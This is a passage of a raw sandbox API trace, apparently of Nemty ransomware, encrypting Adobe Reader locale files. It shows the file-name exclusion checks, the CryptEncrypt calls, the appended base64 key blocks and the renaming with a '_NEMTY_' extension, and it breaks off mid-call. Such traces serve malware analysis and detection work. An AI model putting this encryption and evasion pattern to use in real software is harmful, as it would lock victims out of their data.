lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.007] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Multimedia.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\multimedia.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Multimedia.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\multimedia.tur._nemty_kgobjgd_")) returned 1 [0185.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.008] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PDDom.TUR", cAlternateFileName="")) returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2=".") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="..") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="...") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="windows") returned -1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="rsa") returned -1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="NTDETECT.COM") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="ntldr") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="MSDOS.SYS") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="IO.SYS") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="boot.ini") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="boot.ini") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="ntuser.dat") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="desktop.ini") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="CONFIG.SYS") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="RECYCLER") returned -1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="bootmgr") returned 1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="programdata") returned -1 [0185.008] lstrcmpiW (lpString1="PDDom.TUR", lpString2="appdata") returned 1 [0185.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.TUR", lpUsedDefaultChar=0x0) returned 9 [0185.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.TUR", lpUsedDefaultChar=0x0) returned 9 [0185.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.TUR", lpUsedDefaultChar=0x0) returned 9 [0185.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.TUR", lpUsedDefaultChar=0x0) returned 9 [0185.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.009] Sleep (dwMilliseconds=0x5) [0185.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ec7830, dwHighDateTime=0x1d561e8)) [0185.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ec7830, dwHighDateTime=0x1d561e8)) [0185.014] GetLastError () returned 0x0 [0185.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.015] GetLastError () returned 0x0 [0185.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.015] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.015] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.015] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.015] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="XrE+VpHGxjOjzPeO52AfyAPlnnlvGFQkHA7iCyZrU8L5mu61SzOI9IpCp8/iS91b\r\nHsyt1ifExj3ov8/Ek9pk1u8Bas1c8oeHmGjdNZZrOLKOL9U6tbe7MPzZwwMBp31X\r\nCMYjfQUEH5WZt83DsvZonMgFLpOhBXdnSGLZADvnGbC4n8g4DT/TnfpIbTgbKpsJ\r\nI7+hURlhOa9b/OTvqcm9e9jUZIWVt1QabDAkFePM6sljq2ZDISV5pMy50OFuThR3\r\n7iA6lMXjrCCOp8vs2c7Y1bBKR0TLjduZMnUV3QVlGaSwhao5/2rw7oVuFkn3k/Jv\r\nvbepViCiNjoYJXf/99X9Jg==\r\n", pcchString=0x653e5dc) returned 1 [0185.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PDDom.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\pddom.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.015] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0185.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0185.016] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.016] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0185.018] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.018] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0185.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.018] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0185.018] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.018] CloseHandle (hObject=0x2e8) returned 1 [0185.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.019] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PDDom.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\pddom.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PDDom.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\pddom.tur._nemty_kgobjgd_")) returned 1 [0185.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.020] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7a400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.TUR", cAlternateFileName="")) returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2=".") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="..") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="...") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="windows") returned -1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="rsa") returned -1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="NTDETECT.COM") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="ntldr") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="MSDOS.SYS") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="IO.SYS") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="boot.ini") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="boot.ini") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="ntuser.dat") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="desktop.ini") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="CONFIG.SYS") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="RECYCLER") returned -1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="bootmgr") returned 1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="programdata") returned -1 [0185.020] lstrcmpiW (lpString1="PPKLITE.TUR", lpString2="appdata") returned 1 [0185.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.TUR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.TUR", lpUsedDefaultChar=0x0) returned 11 [0185.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.021] Sleep (dwMilliseconds=0x5) [0185.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21eed990, dwHighDateTime=0x1d561e8)) [0185.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21eed990, dwHighDateTime=0x1d561e8)) [0185.030] GetLastError () returned 0x0 [0185.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.030] GetLastError () returned 0x0 [0185.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.030] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.030] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="WOztuAXSHN31sFksYG1x6h+toWnGKM5fmNRSRmvgozNJp1XWcw0fAygFyMqzverH\r\nbSDmgrmAhY7wn6iF8zcQmz41V7C/pnm4uMvCyRvb79oBYEMYRe/R03ANVt7PYZb7\r\n6Zy4ylSGuKUQ/JienurkQXUl7r7PPumeKE43id4OGiUpeLtCf9CCXeetGfGwsfDQ\r\n7Yam9UMzG0eSj9tPfSyN5JbybBqDULrI+rpOwRGn7AZq41xsaOenDrg5Sld8swSc\r\nSToaor9DGvFXlelcKmipEWOS9imC/vkH89JinxN+/yb2/q5XZecbVnUPi+IrGPZ4\r\nGb5ivdUDw1NLRC8ZtMhgHw==\r\n", pcchString=0x653e5dc) returned 1 [0185.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.030] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PPKLITE.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ppklite.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.031] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=500736) returned 1 [0185.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.031] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.031] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.040] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.040] WriteFile (in: 